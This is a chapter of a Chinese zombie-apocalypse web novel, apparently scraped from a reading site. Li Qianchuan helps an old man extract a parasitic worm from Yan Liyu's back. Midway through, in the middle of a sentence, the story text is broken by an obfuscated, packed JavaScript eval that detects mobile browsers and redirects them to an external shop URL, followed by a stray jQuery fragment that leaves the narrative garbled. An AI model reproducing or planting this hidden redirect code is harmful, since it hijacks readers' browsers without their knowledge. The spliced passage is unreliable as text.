严礼煜躺在铁床上,似乎是防止他乱动,手脚都被安上了铁链。老板将工具准备齐全后就退到了一边,似是在将位置让给那个白发苍苍的老者。
他们都叫他老刘,具体的名字,李浅川不得而知。
“它们这种丧尸想要取代人类,一共分为三步。”老板头上的黑色帽子依旧没摘,他靠在墙边,语气淡淡地给她科普着。
“第一步,将尸虫植入目标体内,等到尸虫将他的身体啃食的只剩下皮肉和一些人体上本质的脉络的时候,它再进入到人皮之中。”
“脉络未散,人本质的意识就未散,类似于以毒攻毒的理论。想要完全取代,就要不断吸食他记忆里最亲近人的意识。”
“两种意识相冲,那具皮肉里原本的意识自然而然的就消散了,意识不能一下全部吸收,要慢慢的日积月累。”
“等到彻底吸收完,它就成功取代,而被吸收意识的人,会失去自我意识,变成一个疯子,严重的会因此而死亡。”
老板的目光直直的落在李浅川的身上,没了原本的嬉皮笑脸,更多的是身为军人的严肃和凝重。
“尸虫不是丧尸,它只是丧尸手中的一个工具,它不懂意识要循序渐进。”
“一旦连接,它只会像吞食人的血肉似的,吞食你的意识。”
老板沉重的话音到此落下。
李浅川也听了个大概,也就是说,严礼煜现在的状况下,一但和她的意识连接。到最后,很有可能会出现一尸两命的情况。
房间里的灯光照人,那位老者拿着那把锋利的刀子浸泡在他刚才调试的试剂中。随后他从口袋里拿出一个小小的瓶子,将瓶盖拧开,从里面倒出一个药丸递到了严礼煜的唇边,“这个能暂时麻痹你的神经,类似于麻醉药。”
“但到底还是有些区别的,这个麻醉的时间并不长。”
“含着,不要咽。”
话音落下,严礼煜将那颗药丸含进了口中。他身上的衣服已经被脱下,此刻暴露在外面的只有光洁的后背。
灯光下,那团黑影的位置尤为明显。老者拿起一旁放置的手套戴在手上,刀上的试剂被他擦拭干净,他动作轻缓的靠近严礼煜的后背,像是害怕弄出大动静让那黑影跑了似的。
刀尖在皮肉上滑动,原本洁白的肌肤顿时就出现了一道口子,鲜红的血液争先恐后的喷涌出来,眼看皮肉下的黑影逐渐露出黑色的甲壳,很快它又钻入皮下跑到了另外一处。
划下去的刀尖只能就此作罢,他将带着鲜血的刀放到一旁盛满试剂的容器中,转而拿过另外一把干净的刀,继续刚才的动作。
被划开的伤口不断往外渗血,但却不能上手将那血止住。
这样划开又重新开始的动作反反复复持续了近半个小时,而那只尸虫却依旧没有被抓到。鲜血布满整个后背,连带都落到了那张床上。
触目惊心的红,看的她心颤了几分。她不忍的转过了身。
时间一分一秒的过着,心中总是隐着不安。煎熬下,时间走的特别慢。不知何时,她的后背都冒出了冷汗。衣服紧贴肌肤。又不知过了多久,身后传来一道清脆的声响,像是刀刃落到容器中的声音。
心脏猛怔一下,李浅川回过头,只见满片鲜红,血液顺着铁床滴的地上映出了一滩暗红色。
趴在床上的人,顿时为了生气。
失败了……
她不禁抬脚靠近,白鞋踩入血液之中,随之和它融为一体,想要伸出的手,在一瞬停在了半空之中。血流的到处都是,一时让人看不见到底在哪些地方有伤口。
容不得她有什么悲伤的情绪,眼前逐渐划过一丝白光,被迫的闭上了眼睛,再睁开时,那位老者才刚戴上手套。
又重新回来了,重回的节点也是在严礼煜死前的一个小时左右,她轻轻地抿了抿唇。如果放任他的动作,严礼煜还是会和刚才一样的。不断循环的意义,不是看着他不断的死去。
李浅川看着趴在那的人,只觉得喉咙传来一阵干涩感,她问道:“如果我牵制住了尸虫,您大概要多久才能将它抛解出来?”
原本正在将刀口上的试剂擦拭干净的老者忽的一顿,他目光沉沉地看向她,空气安静了半响,随后他才给出一份答案:“半个小时。”
李浅川了然的点头,她抬脚往前走了一步,不同于上次,地上没有暗红的血迹。她穿着的白鞋依旧白亮。
看着皮肉下的那团黑影,她像是下了某种决心似的开口说:“那…麻烦您了。”
话音落下,手掌轻轻地放在那团黑影之上,皮肤上的冷意顺过手心直传她的神经。很快身体里有什么东西在快速流逝的感觉以一种强势的姿态侵袭着她。
手掌缓缓从他的后背上拿起,很快一道长长的白丝泛着光的出现在了众人的视野里。那白丝和那天在那只丧尸的记忆之中所看到的一模一样。
原来…那天宋太太就是这样的感受。
明知自己的体内有什么重要的东西正在快速流逝,可她却无能为力。这种无助感是孤寂的,所以在看见她的一瞬,只要确定她和那些丧尸不是一伙的,她就像是抓住了救命稻草似的相信她是好人。
耳畔传来一道叹息声,不知是谁发出来的声音,她只能隐隐听见,很快老者就将刀尖对准那个方向将皮肉划开,不同于前几次的,尸虫到处跑。这次有了牵引,它倒是待在那里不动了。
将尸虫展露出来后,他抬手捻起了些绿色的粉末撒到那道伤口处。
带着光泽的粉末,像是人类的晶石。
他们高价收购绿色晶石,然后磨碎,就是为了对付尸虫吗?李浅川没有继续思考,很快她的大脑之中,就不允许她再有过多的思绪了,脑子昏沉沉的…眼皮忍不住的闭合。像是下一瞬她就会昏睡过去。
李浅川使劲的晃动着脑袋,可却依旧不能让自己保持清醒,脑海中一片空白,有东西不断流逝传来的痛感刺激着她。
呼吸逐渐变得急促,空气好似稀薄了。像是被遏制住气管似的难受。
「警报!警报!」
「有不明物种在不断入侵宿主识海!」
「监测到有不明物种在入侵!」
「宿主生命体征,正在直线下滑!警报!警报!」
「预计三秒后开启一级警戒!3,2,1…正在开启一级警戒。」
「人脑自我保护意识已被激发。」
快要消散的意识在脑海中出现的声音,而逐渐清晰起来,原本混沌的视线也随之清明。无神之中李
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042683|136004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
浅川也不知过去了多久。只是刚才听不见也看不见的画面,此刻格外清楚。
她被人扶着,侧过头看去,是那个叫小苡的女人,她的呼吸还是有些不太通畅,粗重的呼吸让她的喉咙间发不出一个音节。
良久,她才挣扎的回过视线,濒临死亡线又被猛然拉回的错觉感。她只觉自己的脚下轻飘飘的,像是随时都会浮起来似的。
视线恍惚下,躲在皮肉之下的尸虫也被挑动了起来,两只手指那么大的黑色长虫,刀尖顺过它身体穿透过去。被挑出来的时候,它还在不停的蠕动着身躯。
手指尖连接的白丝,在尸虫被放入一个器皿的时候而断开。
丝线一断开,李浅川整个人像是脱力似的往后倾倒,最后的视角定格在只有一道伤口的后背上。
……
额头不断冒着细汗,即便是平躺在床上,她的手也在不安分的乱动着,像是在挣扎什么,抬起又放下。原本紧闭的眼皮忽的睁开,李浅川猛然坐了起来,她不断喘着粗气,眼睛睁的大大的,好似梦中的丧尸已经追了出来。
“醒了?身上还有力气吗?”随着身侧的话音落下,一袋压缩饼干丢到了她的身上。
她没什么思绪的将被子上的压缩饼干拿了起来,才发觉拿着饼干的手软软塌塌的,几乎提不上任何力气。
侧过头看去,李浅川空空的脑子反应了半响,才想起他是那个陶瓷店的老板。
见她眼神空空的,他的音调动提高了几分:“不是吧?真的傻了?”
惊觉的声音在狭小的房间里蔓延开来,李浅川轻轻地摇头,她回过思绪的扫视了一眼所处的房间。
有些陌生的一瞬,才逐渐想起,这里好像是陶瓷店的休息室,视线缓缓落到对面的一幅画框上。向日葵的画,只要按下去,就会有往下去的路。
思绪逐渐回笼,即便有些慢半拍,但她至少可以确定,自己还尚在人世,“他呢?”
不知睡了多久,李浅川身上没什么力气,喉咙间发出的声音,又哑又弱。
老板看着她的视线一瞬从担心变成了嫌弃,“你这丫头,怎么这么没良心?我照顾你这么久,你开口第一句就问那个臭小子,合适吗?”
他起身走到桌边,拿起桌上的水壶往一旁的空杯子里倒了一杯水,“你昏睡的这三天,他可是一天都没照顾你。”
将水杯递给她后,他又将一旁放着的饭盒拿了过来,“现在是夜里,饭都凉了,你三天没进食了,凑合着吃吧。”
李浅川反应了会,将手里的水全部喝完,才抬手接过那个饭盒。
见她一直不说话,男人这才坐到椅子上,慢悠悠的开口:“那个小子和宋苡围剿医院的丧尸去了。”
“一会就回来,放心,他没事。”
他的话就像是有什么延迟似的,等他说完了好一会,李浅川才侧头看向他。
留意到对方看向她的视线,她紧张的挪开了和他对视的眼眸,随后点了点头。收回目光后,她将饭盒打开,拿起盒子里的胡萝卜就吃着。
空气安静了几瞬,男人看着她笑了声,“你们两个也算是…大难不死。”
“会有福气的。”
这是他们遇见被丧尸植入尸虫后,唯一活下来的。